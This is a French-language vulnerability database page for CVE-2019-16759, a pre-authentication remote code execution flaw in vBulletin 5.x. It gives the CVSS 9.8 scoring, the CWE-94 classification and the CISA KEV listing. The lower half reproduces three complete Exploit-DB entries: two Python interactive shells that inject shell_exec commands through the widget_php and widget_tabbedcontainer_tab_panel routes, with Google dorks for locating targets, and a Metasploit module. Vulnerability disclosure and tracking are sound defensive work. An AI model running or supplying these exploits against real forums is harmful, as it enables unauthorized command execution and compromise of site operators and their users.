CVE-2019-16759 : Détail

CVE-2019-16759

9.8
/
Critique
Code Injection
A03-Injection
97.46%V3
Network
2019-09-24
21h01 +00:00
2025-02-04
20h14 +00:00
CVE.org
NVD
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Descriptions du CVE

vBulletin 5.x through 5.5.4 allows remote command execution via the widgetConfig[code] parameter in an ajax/render/widget_php routestring request.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-94 Improper Control of Generation of Code ('Code Injection')
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 [email protected]
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

CISA KEV (Vulnérabilités Exploitées Connues)

Nom de la vulnérabilité : vBulletin PHP Module Remote Code Execution Vulnerability

Action requise : Apply updates per vendor instructions.

Connu pour être utilisé dans des campagnes de ransomware : Unknown

Ajouter le : 2021-11-02 23h00 +00:00

Action attendue : 2022-05-02 22h00 +00:00

Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 47447

Date de publication : 2019-09-22 22h00 +00:00
Auteur : anonymous
EDB Vérifié : No

#!/usr/bin/python # # vBulletin 5.x 0day pre-auth RCE exploit # # This should work on all versions from 5.0.0 till 5.5.4 # # Google Dorks: # - site:*.vbulletin.net # - "Powered by vBulletin Version 5.5.4" import requests import sys if len(sys.argv) != 2: sys.exit("Usage: %s <URL to vBulletin>" % sys.argv[0]) params = {"routestring":"ajax/render/widget_php"} while True: try: cmd = raw_input("vBulletin$ ") params["widgetConfig[code]"] = "echo shell_exec('"+cmd+"'); exit;" r = requests.post(url = sys.argv[1], data = params) if r.status_code == 200: print r.text else: sys.exit("Exploit failed! :(") except KeyboardInterrupt: sys.exit("\nClosing shell...") except Exception, e: sys.exit(str(e))
Exploit Database EDB-ID : 48743

Date de publication : 2020-08-11 22h00 +00:00
Auteur : zenofex
EDB Vérifié : No

# Exploit Title: vBulletin 5.6.2 - 'widget_tabbedContainer_tab_panel' Remote Code Execution # Date: 2020-08-09 # Exploit Author: @zenofex # Vendor Homepage: https://www.vbulletin.com/ # Software Link: None # Version: 5.4.5 through 5.6.2 # Tested on: vBulletin 5.6.2 on Ubuntu 19.04 # CVE : None # vBulletin 5.5.4 through 5.6.2 are vulnerable to a remote code # execution vulnerability caused by incomplete patching of the previous # "CVE-2019-16759" RCE. This logic bug allows for a single pre-auth # request to execute PHP code on a target vBulletin forum. #More info can be found at: #https://blog.exploitee.rs/2020/exploiting-vbulletin-a-tale-of-patch-fail/ #!/usr/bin/env python3 # vBulletin 5.x pre-auth widget_tabbedContainer_tab_panel RCE exploit by @zenofex import argparse import requests import sys def run_exploit(vb_loc, shell_cmd): post_data = {'subWidgets[0][template]' : 'widget_php', 'subWidgets[0][config][code]' : "echo shell_exec('%s'); exit;" % shell_cmd} r = requests.post('%s/ajax/render/widget_tabbedcontainer_tab_panel' % vb_loc, post_data) return r.text ap = argparse.ArgumentParser(description='vBulletin 5.x Ajax Widget Template RCE') ap.add_argument('-l', '--location', required=True, help='Web address to root of vB5 install.') ARGS = ap.parse_args() while True: try: cmd = input("vBulletin5$ ") print(run_exploit(ARGS.location, cmd)) except KeyboardInterrupt: sys.exit("\nClosing shell...") except Exception as e: sys.exit(str(e))
Exploit Database EDB-ID : 47437

Date de publication : 2019-09-29 22h00 +00:00
Auteur : r00tpgp
EDB Vérifié : No

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'vBulletin 5.x 0day pre-quth RCE exploit', 'Description' => %q{ vBulletin 5.x 0day pre-auth RCE exploit. This should work on all versions from 5.0.0 till 5.5.4 }, 'Platform' => 'php', 'License' => MSF_LICENSE, 'Author' => [ 'Reported by: anonymous', # reported by 'Original exploit by: anonymous', # original exploit 'Metasploit mod by: r00tpgp', # metasploit module ], 'Payload' => { 'BadChars' => "\x22", }, 'References' => [ ['CVE', 'CVE-2019-16759'], ['EDB', 'NA'], ['URL', 'https://seclists.org/fulldisclosure/2019/Sep/31'], ['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16759'] ], 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Automatic Targeting', { 'auto' => true } ], # ['vBulletin 5.0.X', {'chain' => 'vB_Database'}], # ['vBulletin 5.1.X', {'chain' => 'vB_Database_MySQLi'}], ], 'DisclosureDate' => 'Sep 23 2019', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [ true, "The base path to the web application", "/"]) ]) end def check res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path,'/index.php?routestring=ajax/render/widget_php'), 'encode_params' => false, 'vars_post' => { 'widgetConfig[code]' => "echo shell_exec(\'echo h4x0000r4l1f4 > /tmp/msf.check.out; cat /tmp/msf.check.out\');exit;", } }) if res && res.body && res.body.include?('h4x0000r4l1f4') return Exploit::CheckCode::Vulnerable end Exploit::CheckCode::Safe end def exploit print_status("Sending payload.....") resp = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path,'/index.php?routestring=ajax/render/widget_php'), 'encode_params' => false, 'vars_post' => { #'widgetConfig[code]' => "echo " + payload.encoded + "exit;", 'widgetConfig[code]' => payload.encoded, } }) #unless resp and resp.code == 200 # fail_with(Failure::Unknown, "Exploit failed.") #end #print_good("Success!") #print_line(resp.body) end end

Products Mentioned

Configuraton 0

Vbulletin>>Vbulletin >> Version From (including) 5.0.0 To (including) 5.5.4

Références

http://seclists.org/fulldisclosure/2020/Aug/5
Tags : mailing-list, x_refsource_FULLDISC